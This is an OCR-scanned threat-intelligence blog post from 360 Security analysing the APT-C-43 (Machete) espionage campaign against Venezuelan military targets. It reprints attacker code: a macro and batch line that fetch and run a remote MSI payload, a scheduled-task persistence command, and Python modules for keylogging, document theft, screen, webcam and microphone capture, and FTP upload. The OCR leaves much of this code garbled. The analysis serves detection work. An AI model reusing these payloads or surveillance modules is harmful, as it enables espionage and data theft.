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In June 2020, 360 Security Center discovered a new backdoor Pyark written in Python by
the fileless attack protection function. Through in-depth excavation and trace analysis of
the backdoor, we discovered a series of advanced threat actions that have been active
since 2019. By invading various military institutions in Venezuela, the attackers deployed
backdoor to continuously monitor and steal the latest military secrets. We named it APT-
C-43 based on 360’s way of naming the APT organization

When tracing the attacker’s source, we found that the duration of this attack coincided
with the Venezuelan political chaos, and the network assets used by the attackers were
mostly deployed in Colombia, and some assets were frequently found in Venezuela and
Colombia. After the United Venezuelan coup, the reactionary government headed by Juan
Gerardo Guaido Marquez fled to Colombia to seek military assistance. We guess the
political background of APT-C -43’s campaign may be to help the reactionaries led by
Juan steal military secrets of the Venezuelan military and provide intelligence support for
the confrontation between the reactionary government and the current Venezuelan
government. Therefore, we named this series of attacks HpReact.

In the process of tracing the source, the campaign was linked to the APT group Machete,
and Machete can be traced back to 2010. The organization is an APT organization with
Spanish roots. Its targets are military, embassies and government agencies in Latin
America. the Lord. Obviously, the HpReact campaign is only a small part of the
organization’s cyber warfare in Latin America.

The picture below shows the decoy document used by APT-C-43 in this campaign. The
content of the document is a policy issued by the Venezuelan authorities to prevent
deserters from going to Colombia to support the reactionary government. More about this
policy. For details, please refer to Appendix 1. It can be seen that the attackers have a
good understanding of Venezuela’s current politics, military, etc., and are good at using
such sensitive files to make decoy documents, which are highly targeted and inductive.
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Technical

Details

The APT-C-43 organization is good at launching attacks using phishing emails, and
deploys the backdoor program Pyark (Machete) written in python after invading the

victim’s machine. The network communication mainly relies on FTP and HTTP protocols.
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After successfully infiltrating the target machine, APT-C-43 organization monitors the
target users, steal sensitive data, etc. The complete process of infecting the target machine
is as follows:
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The infection process

The decoy document carries malicious macrocode. Download the next stage of malicious
component NisSrv.bat through FTP protocol, and we can see many variables named after
Spanish vocabulary in the code, such as servidor (server), Usuario (user name),
Contrasena (password), etc.:

Sub Winkéd ()

Dim servidor As String, Usuaric As String, Contrasefia As String, folder As String, file As String, file2 As String, filename As String
servidor = " 00webt
Usuario =

Contrasefia =
!

local_file = "

folder = "/pub

filenamel local file & ™\NisSrv.bat”
rfilel = "file.jpg"

filename2 = local file & ™\Service.lnk"
rfile2 = "file2.jpg”

TA") + ™\Microsoft\Windows\S5tart Menu\Programs\Startup\Windows Defender.lnk”

file_dest = Environ(": g I
hOpen = InternetOpen(scUserkgent, INTERNET OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)
hConnection = InternetConnect {(hOpen, servidor, INTERNET_INVALID_ PORT_NUMBER, Usuaric, Contrasefia, INTERNET SERVICE_FTP, INTERNET FLAG PASSIVE, 0)
bRet = FrpSetCurrentDirectory(hConnection, folder)
If bRet = False Then
Else

bRet = FrpGetFile (hConnection, rfilel, filenmamel, False, FILE ATTRIBUTE ARCHIVE, 0, 1)

bRet = FtpGetFile (hConnection, rfile2, filename2, False, FILE ATTRIBUTE ARCHIVE, 0, 1)

If filenamel <> 0 Then

If filenamel <> 0 Then
FileCopy Ruta & filename2, file_dest
Kill (filename2)
End If

End If
End If
Contador = ActiveDocument.Shapes.Count
Nombre = RctiveDocument.Shapes(2) .Name
ActiveDocument.Shapes (Nombre) . Select
Selection.ShapeRange.Delete
End
End Sub

NisSrv.bat downloads malicious components:
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|=| Hi=Srv. batEd
1 [FECHD OFF

2 cmd fC start /B msiexec /g /i http://wWww.op—icarc.site/setupX0X.m3i

3 exit

The file of “setupXOX.msi” is a Windows Installer installation program made by MSI
Wrapper to deploy the final backdoor components. When we studied the historical
samples of the Machete organization, we found that the organization’s technology for
deploying backdoor has undergone an important change, with a clear time division.
Through the following timeline, we can clearly see that the organization is constantly
changing and innovating its own Attack technique:

< 2014-2017: NSIS-packed file

< 2018-2019: 7z Self-extracting file

< 2019-2020: Microsoft Windows Installer

Many fields in the installation program are forged into Acrobat Reader installation
program, and the interface after running is related to Acrobat Reader:

https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/ 4/12


https://static.ts.360.com/blog/wp-content/uploads/2020/09/25.4.png
https://static.ts.360.com/blog/wp-content/uploads/2020/09/25.4.1.png

9/28/2020 apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign

-El, Pleage wait while Windows configures Acrobat Reader

Gathering reguired information...

. 0 1] Cancl

| Acrobat Reader X

“rou do not have sufficient privieges te complete this
installation for all users of the machine. Log on as
adminigtrator and then retry this installation.

1 setupXOX.msi Bt

O EmE v OEy HEEE LamiEs

=3
it
e
S
eS|
[onr]
i
=&
155
BiIs

ek

E ~

Acrobat Reader 6.3.1.0
Acrobat Reader

Installer

Windows Defender

1
{FFFD02B2-B699-456A-A06A-50016D3...

SIEFAESAATE 2020/1/4 3:06

MSI Wrapper (9.0.34.0)

setupXOX.msi

Windows Installer &1
it
SIEHER
B HES
B 810 MB |
EtE A
ol Bt W
e

Bk REW

After the program runs, the Fpyark backdoor components will be released to the
%ProgramData%\USOEnable directory. The backdoor of Fpyark is writing by python.

During the running process, python is required to execute the environment and various
dependent libraries required by the script, which also caused the size of setupXOX.msi to

reach 8.10M. After installation, the entire directory structure is as follows:
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After deploying the above backdoor components, run svchostt.exe according to the
msiwpper configuration file:

= m=iwrapper. iniE1 |

1 [E[MSI Wrapper]

3 InstallSuccessCodes=0

4 ElevationMode=never

5 SetupFileName=C:\Usersh “AppDatatLocal\Temp\MW-63a50993-a034-4ad6-9£37-81546ad£3%=8 \£1lest svchostt.exe
& SetupParameters=msiexec.exe /i "setup.msi™ /quiet WRAPPED_ ARGUMENTS="/5"

7 WorkingDir=

8 CurrentDir=*FILESDIR*

9 Ullevel=5

10 Focus=yes

11 FilesDir=C:\Users\ “LppData‘\Local\ Temp\MW-63250993-a034-4ade-9£37-21046adf3b=ea \files,
12 RunBeforelnstallFile=svchostt.exe

13 BunBeforeInstallParameters=/i "setup.msi™ /quiet WRAPPED ARGUMENTS="/5"

14 RunifterInstallFile=svchostt.exe

15 RunhAfterInstallParameters=

2 WrappedipplicationId={3383CBCE-15854-48BD-A0SR-ET405TD46AFD] | { 7259BDDA-DEE5-309D-ADE1-34RR0CB24FES] | {RCTE6BRAS6-TADT-1034-7B44-R92000000001}

The file of “setupXOX.msi” is a virus releaser written in Microsoft Visual Basic language,
which releases NisSrv.bat registered scheduled tasks to realize self-starting and staying.

The program has the following vbp compilation path:
@*\AC:\Users\MITM\Desktop\malware\3_svchostt\Proyecto1.vbp

The relevant code is as follows:

u78 = _vbaStrcat{L"\\NisSrv.bat"™, v8a);

utlE = 8;

v21 = rtcDir{&uis, B);

v22 = _vbaStrMove(&u79, v21);

u23 = -(_vbaStrCmp{&dword_481A18, v22) == 8);

_ubaFreeStrList{2, &u8o, &u79);
_uvbaFreeDbj{&u73);
_vbaFreeVar{&vi6B);
if ( (_WORD}v23 )
{
vih =
"LV ProgramDatat v AUS0ERabled i Libvih v site-packagesyipyarkiyianUpdateSessiont ™
uGh = 8;
_vbaVarCopy({&u8i, &ubél);

(int =)L"SCHTASKS /Create /TN WindowsDefender /SC MINUTE /mo 85 /TR "C:\\\‘\ProgramData\\\\USOEnable\\\\Smnss.exe"
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Backdoor module

UpdateSession is the main control module of the backdoor. Its functions include self-
starting of the backdoor, collection of network configuration, keystroke records, and

schedule other modules to execute by means of timers:

0}

45 [Hif _name == "'_main_ ':
40 Link(}) #copy lnk to startup
4 SisInfo() #3ayatem network config discovery
Archivos () #run "UpdateService”
try:

timer = Manager()
b timer.add operation(Envio,
except Exception as e:

print =
EB = hyts() #keylogger
hm = pyHook.HookManager ()
hm.KeyDown = EB.onBEeyboardEvent
hm. HookEeyboard ()
pythoncom. PunpMessages ()

i
£ o
{1
L

300) #segqundos

[+
{1l
| LN |

a

L4, I =

[ T % T % Y S Y % T % T % T S Y % T % T % T % Y N Y %
1 o

L0 T I T O 8 O I Y B =

Persistence
with "ipconfig

#run "UpdateDevice

Jall"

™

UpdateService traverses the disk directory and collects more than ten kinds of sensitive

files with suffixes such as doc, xIsx, and pdf in other directories,
directories and security software directories.

except for some system

for ptr in gk: for filename in files:
def find oldest_file({dirname=ptr}): file path = os.path.join(dirpath, filename)
global vve, af try:
for dirpath, dirs, files in os.walk{dirname) : {(shortname, vve) = os.path.splitext(filename)

if ptr + "Program Files" in dirpath: except:

pass pass
elif ptr + "Program Files (x26)" in dirpath: try:

pass if vwe == ".doc™:
elif ptr + "Proog :ta" in dirpath: af() # copy file to HDD folderxr

pass elif vve = ".docx":
elif ptr + "Windows" in dirpath: af()

pass elif vwve = ".xlsx":
elif ptr + "WINDOWS"™ in dirpath: af ()

pass elif vve =— ".xls":
elif ptr + "ZppData"™ in dirpath: af()

pass elif vwe = ".ppt™:
elif ptr + "Pyvthon27" in dirpath: af()

pass elif wve = ".ppta":
elif ptr + "USCEnzakle™ in dirpath: af()

pass elif wve = ".pdf™:
elif ptr + "211 Users"™ in dirpath: af()

pass elif vwwve = ".pkr":
elif ptr + "Perflogs" in dirpath: af()

pass elif wwvg == ".skr":
elif ptr + "Intel" in dirpath: af()

pass elif vwve =— ".asc"
elif ptr + "Easperskvy" in dirpath: af()

pass elif vwe = ".pop™:
elif ptr + "usk driver" in dirpath: af()

pass B elif wwvg == ".tcxt"
elif ptr + "SGetCurrent™ in dirpath: af()

pass except:

pass

UpdateDevice takes screenshot
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Lry:
if act[3] == 'Screen = 31' or act[3] = 'Screen = 31" or act[3] == '3i':
from time import stritime
nombre = "Screen-' + gtr(stritime ('$d-im-3Y-FH-:EM-%53")) + '.Jpeg’
sh = ImageGrab.grak()
sh.save (Encryp + '/' + nombre)
except Exception as e:
print =

Capture camera screen:

try:

if act[2] == '"Cam = 31" or act[2] == '"Cam = 531i' or act[d] == "5i':
camera = VidecoCapture.Device()
camera.setBesclution(cdl, 420)
from time import stritime
file name = "web' + str(strftime('%d-Im-%Y-EH-3M-35')) + ".Jpg’
camera.saveSnapshot (Enceyp + "W\ ' + file_name)

%except Exception as e:
print =

UpdatePlugin takes audio from the microphone:

try:
chunk = 1024
FORMAT = pyaudio.palntlé
CHANNELS = 1
BLTE = 44100
BECORD SECONDS = 30
from time import stritime

try:
for i in range(0, RATE / chunk * RECORD SECCHDS) :
data = stream.read(chunk)
all.append{data)

except:
Pass

try:
stream.close()
p.terminate ()
except Exception as e:
print =

except Exception as e:
print =

WAVE OUTPUT FILENEME = 'Ru' + str(strftime('%d-%m-3¥-%H $57)) + ".wav'

WAVE_OUTPUI_FILENEME] = Encryp + '\\' + WAVE_OUTPUI_FILENAME

P = pyaudic.Pyhudic()

try:
stream = p.open|format=FORMAT, channels=CHAWNELS, rate=RATE, input=True, frames per buffer=chunk)
all = []

except:
pass

Notification is responsible for uploading the sensitive data collected by the above modules

to the FTP server:
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try:
= for u in range(len{lst)):
nom = 1st[u]
Hom,ext = os.path.splitext (nom)
=l if ext = ".html":
upfile = Encryp + '%\' + nom
uploadfile (upfile, nom, 'HevLog')
= elif ext == '.Jp=g':
upfile = Encryp + '""\' + nom
uploadfile {upfile, nom, 'Screen')
= elif ext == '.htm':
upfile = Encryp + '""\' + nom
uploadfile (upfile, nom, 'Clipkcard')
= elif ext == '.Jpg':
upfile = Encryp + '"%' + nom
b uploadfile {upfile, nom, '"Weklam')
= elif ext = ".mp3':
upfile = Encryp + '"%' + nom
b uploadfile (upfile, nom, 'Audic')
= elif Nom = 'Syainfo':
upfile = Encryp + '""\' + nom
ki uploadfile{upfile, nom, 'Info3vs')
= elif Nom = 'fox':
upfile = Encryp + '""\' + nom
ki uploadfile{upfile, nom, 'Browser')
= else:
upfile = Encryp + "\\' + nom
- uploadfile{upfile, nom, 'Xfils=z'")
except Exception as e:
print =

The interactive traffic characteristics are as follows:
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220 BitNinja FTP CAPTCHA server

USER w361186564

331 Password required for u36ll86564.

PASS

238 User u361186564 logged in from 2208.181.171.89.
CWD fdomains/op-icaro.site/public hitml/DEMO,/WIN-
258 CWD command succesful.

TYPE A

208 type set.

PASY

452 Can't open data connection.

MKD /domains/op-icaro.site/public_ html/DEMO/WIN-
553 Requested action not taken.

CWD Keylog

258 CWD command succesful.

TYPE I

208 type set.

PASY

A52 Can't open data connection.

CWD Screen

258 CWD command succesful.

TYPE I

288 type set.

PASY

452 Can't open data connection.

CWD InfoSys

258 CWD command succesful.

When analyzing the uploaded FTP server, we found that APT-C-43 manages the uploaded

sensitive files through Tiny File Manager:

| * H3K | Tiny File Manager V2.4.1 |
* CCP Programmers | ccpprograrmersf@gmail.com
¥ hteps://tinyfilemanager.github.io

= .lll.f

f/TFM wersion
define('VERSICN", '2.4.1"):

//Application Title
define ("AFF TITLE', 'FUCKSociety'):

ff ——— EDIT BELOW CONFIGURATION CAREFULLY --—-

J/ Ruth with login/password

// get true/false to enable/disable it

ff I3 independent from IP white- and blacklisting
$use_auth = true;

S/ Login user name and password
f/ Users: array('Username' => "Password', 'Username2' => "Password2', ...)
[/ Generate secure password hash - https://tinvyfilemanager.github.io/docs/pwd.html
fauth users = array(
'"Icaro' => "$2y5105HA00rLLO1CuKEKHgoSHHAUS]1 sys3reKdonMp T IuSIWekeUvBHI Sym”

IE

El<2php

J/Default Configuration

$CONFIG = "{"lang":"es", "error_reporting™:false, "show hidden™:false,"hide_Cols":false, "calc_folder™:false]}':
[_]ll.fl *
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Summary

The entire campaign of HpReact highly coincides with the timeline of Venezuelan
political turmoil. APT-C-43 took Venezuelan military agencies as the main targets and
carried out surveillance and stealing activities for about two years, forming a significant
impact on Venezuela’s national security. Great safety hazard. In recent years, with the
intensification of cyber warfare in various countries, cyberspace security has become
another important area for each country to maintain national security, and building a
strong cybersecurity has become a top priority for each country.

At present, 360 Total Security has supported the detection of attacks on this organization.

Team Introduction

360 Baize Lab (formerly 360 FirstAid team): Focusing on BOOTKIT/ROOTKIT Trojan
analysis and traceability, it was the first to discover the world’s first UEFI Trojan Spy
Shadow (UEFIAKLi52) , boot area Trojan Hidden Soul (5|5 XAKLEE5E) , dual
guns (N#3,) and multiple large-scale dark brush botnets, such as black fog and diaster.
Now it is renamed 360 Baize Lab based on the original business, it is involved in APT
testing and research. The laboratory provides core safety data for 360 Security Guards,
360 FirstAid team and other products, as well as stubborn Trojan detection and killing
solutions, while providing 360 Security Center Technical Support.

Appendix 1

https://www.totalnewsagency.com/internacionales/ante-la-alarmante-desercion-el-
ministro-de-defensa-de-venezuela-ordeno-convencer-a-los-soldados-de-regresar-como-
sea

Appendix 2
https[:]//securelist.com/el-machete/66108

https[:]//www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf

Appendix 3

MDs5:
fbesb66dbs7tb52b231c5374ac2ac805
6b33faocs2cagq13d4214dcdeoo7f89c1
185489c1d1ff3374f92¢ccb7267032016

IP:
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92.249.44.53
185.70.105.33

Learn more about 360 Total Security
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